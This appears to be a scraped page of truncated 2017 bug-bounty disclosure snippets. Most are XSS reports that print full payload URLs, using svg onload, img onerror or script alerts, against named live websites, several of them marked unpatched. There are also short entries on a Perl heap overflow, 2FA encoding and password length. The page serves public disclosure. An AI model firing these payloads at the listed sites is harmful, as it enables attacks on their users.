adslthailand.com XSS vulnerability

Vulnerable URL: http://www.adslthailand.com/search?s=1%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=confirm/OPENBUGBOUNTY/%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 13.11.2017 Vulnerability type:| XSS Vulnerability...

Legal Robot: 2FA manual entry uses wrong encoding

As in report 260491, a security researcher discovered that following another change from report 259415, we used the wrong encoding for the manually entered secret. No sensitive data was exposed and there was no security risk, but users were unable to manually register a new TOTP device for about ...

actachemscand.dk XSS vulnerability

Vulnerable URL: http://actachemscand.dk/results.php?keywords=%3Cscript%3E+alert%28%27OPENBUGBOUNTY%27%29+%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 13.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3144552 VIP...

drchrono.com XSS vulnerability

Vulnerable URL: https://www.drchrono.com/blackbook-ranking/?mkttok=%22%3E%3Csvg%20onload%3Dalert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 17.08.2017 Latest check for patch:| 17.08.2017 01:09 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

Legal Robot: observer.com URL should HTTPS

Summary This is just for the awareness to use HTTPS everywhere, even for outgoing links - where it's possible. Treat this report with some salt, not as in hashes. Navigate to: https://www.legalrobot-uat.com/press/ Example page In the lower part where you find the observer.com Link: observer...

icimod.org XSS vulnerability

Vulnerable URL: http://www.icimod.org/v2/bull3/index.php/cms4/magic/listtagged?q=newscategoryicimod=News%20Archive=PubDate=desc=Past==23059=2017=4" M0ns7er Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 21:40 GMT Vulnerability type:| XSS...

traveltriangle.com XSS vulnerability

Vulnerable URL: http://traveltriangle.com/tour-packages?todestination==12%5B%5D===alert/OPENBUGBOUNTY/...

Internet Bug Bounty: heap-buffer-overflow (WRITE of size 8) in Perl_pp_reverse()

Reported to the Perl security mailing list on 11 June 2017. Fixed pushed to git on 13 June 2017. No advisory. ==376==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000009a80 at pc 0xd1b9c4 bp 0x7ffd21892230 sp 0x7ffd21892228 WRITE of size 8 at 0x619000009a80 thread T0 0 0xd1b9c3 in...

rockinriolisboa.sapo.pt XSS vulnerability

Vulnerable URL: http://rockinriolisboa.sapo.pt/?s=%27%22%3E%3Csvg%2Fonload%3Dconfirm%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

fortinet.com XSS vulnerability

Vulnerable URL: https://www.fortinet.com/search.html?q=%27%22%3E%3Csvg%2Fonload%3Dprompt%2FOPENBUGBOUNTY%2F%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12630 VIP website status:| Yes Coordinated Disclosure...

snoitemnigeria.com XSS vulnerability

Vulnerable URL: http://snoitemnigeria.com/?s=%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2088616 VIP website status:| No Check snoitemnigeria.com SSL...

americansupplements.com XSS vulnerability

Vulnerable URL: http://www.americansupplements.com/index/page/search?FullText=xss%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...

wallpaperspic.pw XSS vulnerability

Vulnerable URL: http://wallpaperspic.pw/?s=1%3C!%27/%22/%27/%22/--%3E%3C/Script%3E%3CImage%20SrcSet=K%20/;%20OnError=confirmOPENBUGBOUNTY%20//%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 15.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

bakalavr-magistr.ru XSS vulnerability

Vulnerable URL: http://bakalavr-magistr.ru/search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 121701 VIP website status:| No Check bakalavr-magistr.ru SSL connection:| Grade: C...

spareroom.co.uk XSS vulnerability

Vulnerable URL: https://www.spareroom.co.uk/flatshare/flatsharedetail.pl?flatshareid=8548123id=id=type=offeredresults=%22%3E%3Csvg%20onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7695...

libya.tanqeeb.com XSS vulnerability

Vulnerable URL: https://libya.tanqeeb.com/ar/jobs/search?country=201=%22%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknow...

iraq.tanqeeb.com XSS vulnerability

Vulnerable URL: https://iraq.tanqeeb.com/ar/jobs/search?country=43=%22%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...

Udemy: No password length restriction

The reporter thought that we did not limit password length, but we do, we just don't feed back an error for it...

Quora: XSS when clicking "Share to Twitter" at quora.com/widgets/embed_iframe?path=...

Summary: The endpoint at https://language.quora.com/widgets/embediframe?path=pathtoanswerinsamelanguage shows the answer you specify in path like /Question/answer/User in a format useful to embed. There is one button Share that when clicked shows another button Share to Twitter. The href attribut...

slagharen.com XSS vulnerability

Vulnerable URL: https://www.slagharen.com/nl/search/All/%2522%253E%253Cimg+src%253Dx+onerror%253Dprompt%2528'OPENBUGBOUNTY'%2529%253E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...